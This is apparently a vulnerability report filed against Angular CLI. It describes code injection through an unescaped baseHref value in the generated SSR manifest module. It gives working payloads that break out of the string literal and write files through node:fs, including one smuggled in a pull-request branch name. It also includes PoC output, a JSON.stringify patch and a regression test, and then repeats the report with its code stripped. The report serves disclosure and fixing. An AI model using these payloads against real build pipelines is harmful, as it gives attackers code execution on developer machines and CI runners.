Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI SSR manifest code injection via baseHref
The problem
Please describe the technical details of the vulnerability
1. technical details
The application builder accepts baseHref as an unrestricted string:
"baseHref": {
"type": "string",
"description": "Base url for the application being built."
}
During SSR and prerender-related builds, that value is forwarded into the server manifest generator:
const {
baseHref = '/',
serviceWorker,
ssrOptions,
indexHtmlOptions,
optimizationOptions,
sourcemapOptions,
outputMode,
serverEntryPoint,
prerenderOptions,
appShellOptions,
publicPath,
workspaceRoot,
partialSSRBuild,
} = options;
// Create server manifest
const initialFilesPaths = new Set(initialFiles.keys());
if (serverEntryPoint && (outputMode || prerenderOptions || appShellOptions || ssrOptions)) {
const { manifestContent, serverAssetsChunks } = generateAngularServerAppManifest(
additionalHtmlOutputFiles,
outputFiles,
optimizationOptions.styles.inlineCritical ?? false,
undefined,
locale,
baseHref,
initialFilesPaths,
metafile,
publicPath,
);
The manifest generator then embeds baseHref directly into generated .mjs source code using a single-quoted JavaScript string literal:
const manifestContent = `
export default {
bootstrap: () => import('./main.server.mjs').then(m => m.default),
inlineCriticalCss: ${inlineCriticalCss},
baseHref: '${baseHref}',
locale: ${JSON.stringify(locale)},
routes: ${JSON.stringify(routes, undefined, 2)},
entryPointToBrowserMapping: ${JSON.stringify(entryPointToBrowserMapping, undefined, 2)},
assets: {
${Object.entries(serverAssets)
.map(([key, value]) => `'${key}': ${value}`)
.join(',\n ')}
},
};
`;
Because baseHref is inserted into executable module source without JavaScript escaping, a payload containing a quote can break out of the intended string and inject a new expression into the manifest module.
For example, a malicious baseHref like:
',pwn:(import(`node:fs`).then(m=>m.writeFileSync(`/tmp/angular-cli-basehref-ssr-manifest-rce`,`1`))),x:'
produces a generated server manifest like:
export default {
bootstrap: () => import('./main.server.mjs').then(m => m.default),
inlineCriticalCss: false,
baseHref: '',pwn:(import(`node:fs`).then(m=>m.writeFileSync(`/tmp/angular-cli-basehref-ssr-manifest-rce`,`1`))),x:'',
locale: undefined,
routes: undefined,
entryPointToBrowserMapping: {},
assets: {
That injected import('node:fs').then(...) expression runs when the generated SSR manifest is loaded during the build's server-side rendering/prerender flow.
2. vulnerability reproduction
The attached PoC uses the current local angular-cli repository artifacts
instead of an external Angular release. It:
- builds local package tarballs from the current repository
- creates a minimal SSR/prerender application that consumes those tarballs
- initializes a trusted git repository for that project
- creates an attacker-controlled PR branch name
- derives a preview
baseHref from that branch name, like a preview deployment workflow would
- runs a normal-looking build with the derived
--base-href
The PoC is executed with:
cd ./work/angular-cli/pr_basehref_ssr_test
./run-poc.sh
The generated project uses the @angular-devkit/build-angular:application
builder with SSR and prerender enabled:
"build": {
"builder": "@angular-devkit/build-angular:application",
"options": {
"outputPath": "dist/pr-basehref-preview",
"index": "src/index.html",
"browser": "src/main.ts",
"server": "src/main.server.ts",
"polyfills": ["zone.js"],
"tsConfig": "tsconfig.app.json",
"assets": [],
"styles": ["src/styles.css"],
"scripts": [],
"ssr": true,
"prerender": {
"discoverRoutes": false,
"routesFile": "routes.txt"
}
}
}
In the current PoC, the attacker does not pass a raw payload directly as a
manual CLI flag. Instead, the payload is embedded in a PR branch name that a
preview workflow turns into baseHref.
Attacker-controlled PR branch name:
pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail
Preview workflow-derived baseHref:
/preview/pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail/
The build still uses a normal-looking trigger:
npm run build:ci -- --base-href "${preview_base_href}"
Observed result:
[poc] Build-time RCE marker:
/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt
RCE_reached_the_build_worker.
[poc] Compromised generated SSR artifact:
/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/project/dist/pr-basehref-preview/server/angular-app-manifest.mjs
5: baseHref: '/preview/pr-123-evil'+(globalThis.process.getBuiltinModule("fs").writeFileSync("/root/code/google/work/angular-cli/pr_basehref_ssr_test/runtime/build-rce-marker.txt","RCE_reached_the_build_worker."),"owned")+'tail/',
This demonstrates two things:
- attacker-controlled JavaScript from
baseHref executes during the SSR/prerender build flow
- the generated SSR server artifact itself is poisoned with attacker-controlled executable code
3. patch
diff --git a/packages/angular/build/src/utils/server-rendering/manifest.ts b/packages/angular/build/src/utils/server-rendering/manifest.ts
index 8b7c6f2f54f2ddcb9d1d7dc3f4ef761ff0c6a3d7..596b820e3f1f37e9e54d223448a9ffcc3a96f4e1 100644
--- a/packages/angular/build/src/utils/server-rendering/manifest.ts
+++ b/packages/angular/build/src/utils/server-rendering/manifest.ts
@@ -85,7 +85,7 @@ export function generateAngularServerAppEngineManifest(
const manifestContent = `
export default {
- basePath: '${basePath}',
+ basePath: ${JSON.stringify(basePath)},
allowedHosts: ${JSON.stringify(allowedHosts, undefined, 2)},
supportedLocales: ${JSON.stringify(supportedLocales, undefined, 2)},
entryPoints: {
@@ -178,7 +178,7 @@ export function generateAngularServerAppManifest(
export default {
bootstrap: () => import('./main.server.mjs').then(m => m.default),
inlineCriticalCss: ${inlineCriticalCss},
- baseHref: '${baseHref}',
+ baseHref: ${JSON.stringify(baseHref)},
locale: ${JSON.stringify(locale)},
routes: ${JSON.stringify(routes, undefined, 2)},
entryPointToBrowserMapping: ${JSON.stringify(entryPointToBrowserMapping, undefined, 2)},
diff --git a/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts b/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
index 915e551f3f9257dce458ee1f54088114a8f72ba7..6134a5433678dd5a95df5ca2e9a50bf7448b9a49 100644
--- a/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
+++ b/packages/angular/build/src/builders/application/tests/options/ssr_spec.ts
@@ -56,6 +56,27 @@ describeBuilder(buildApplication, APPLICATION_BUILDER_INFO, (harness) => {
expect(result?.success).toBeTrue();
harness.expectDirectory('dist/server').toExist();
});
+
+ it('escapes special characters in baseHref before writing SSR manifest modules', async () => {
+ const baseHref = `',pwn:(globalThis.__baseHrefPwn='1'),x:'`;
+
+ harness.useTarget('build', {
+ ...BASE_OPTIONS,
+ baseHref,
+ server: 'src/main.server.ts',
+ ssr: { entry: 'src/server.ts' },
+ });
+
+ const { result } = await harness.executeOnce();
+ expect(result?.success).toBeTrue();
+
+ harness.expectFile('dist/server/angular-app-manifest.mjs').content.not.toContain(`baseHref: '',pwn:`);
+ harness
+ .expectFile('dist/server/angular-app-manifest.mjs')
+ .content.toContain(`baseHref: ${JSON.stringify(baseHref)}`);
+ harness.expectFile('dist/server/angular-app-engine-manifest.mjs').content.not.toContain(`basePath: '',pwn:`);
+ harness
+ .expectFile('dist/server/angular-app-engine-manifest.mjs')
+ .content.toContain(`basePath: ${JSON.stringify(baseHref)}`);
+ });
it(`should not emit 'server' directory when 'ssr' is 'false'`, async () => {
await harness.writeFile('file.mjs', `console.log('Hello!');`);
Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can influence the baseHref value used in an Angular SSR or prerender build can exploit this issue by supplying a crafted baseHref through workspace configuration, build arguments, or upstream metadata that a preview/deployment workflow turns into baseHref (for example, a PR branch name).
Successful exploitation executes attacker-controlled Node.js code with the privileges of the Angular CLI build process. In practice, this gives the attacker code execution on the developer workstation or CI runner performing the build.
Minimal Reproduction
pr_basehref_ssr_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response
Command
build
Is this a regression?
The previous version in which this bug was not present was
No response
Description
Report description
Angular CLI SSR manifest code injection via
baseHrefThe problem
Please describe the technical details of the vulnerability
1. technical details
The application builder accepts
baseHrefas an unrestricted string:During SSR and prerender-related builds, that value is forwarded into the server manifest generator:
The manifest generator then embeds
baseHrefdirectly into generated.mjssource code using a single-quoted JavaScript string literal:Because
baseHrefis inserted into executable module source without JavaScript escaping, a payload containing a quote can break out of the intended string and inject a new expression into the manifest module.For example, a malicious
baseHreflike:produces a generated server manifest like:
That injected
import('node:fs').then(...)expression runs when the generated SSR manifest is loaded during the build's server-side rendering/prerender flow.2. vulnerability reproduction
The attached PoC uses the current local
angular-clirepository artifactsinstead of an external Angular release. It:
baseHreffrom that branch name, like a preview deployment workflow would--base-hrefThe PoC is executed with:
cd ./work/angular-cli/pr_basehref_ssr_test ./run-poc.shThe generated project uses the
@angular-devkit/build-angular:applicationbuilder with SSR and prerender enabled:
In the current PoC, the attacker does not pass a raw payload directly as a
manual CLI flag. Instead, the payload is embedded in a PR branch name that a
preview workflow turns into
baseHref.Attacker-controlled PR branch name:
Preview workflow-derived
baseHref:The build still uses a normal-looking trigger:
npm run build:ci -- --base-href "${preview_base_href}"Observed result:
This demonstrates two things:
baseHrefexecutes during the SSR/prerender build flow3. patch
Impact analysis – Please briefly explain who can exploit the vulnerability, and what they gain when doing so
An attacker who can influence the
baseHrefvalue used in an Angular SSR or prerender build can exploit this issue by supplying a craftedbaseHrefthrough workspace configuration, build arguments, or upstream metadata that a preview/deployment workflow turns intobaseHref(for example, a PR branch name).Successful exploitation executes attacker-controlled Node.js code with the privileges of the Angular CLI build process. In practice, this gives the attacker code execution on the developer workstation or CI runner performing the build.
Minimal Reproduction
pr_basehref_ssr_test.tar.gz
Exception or Error
Your Environment
Anything else relevant?
No response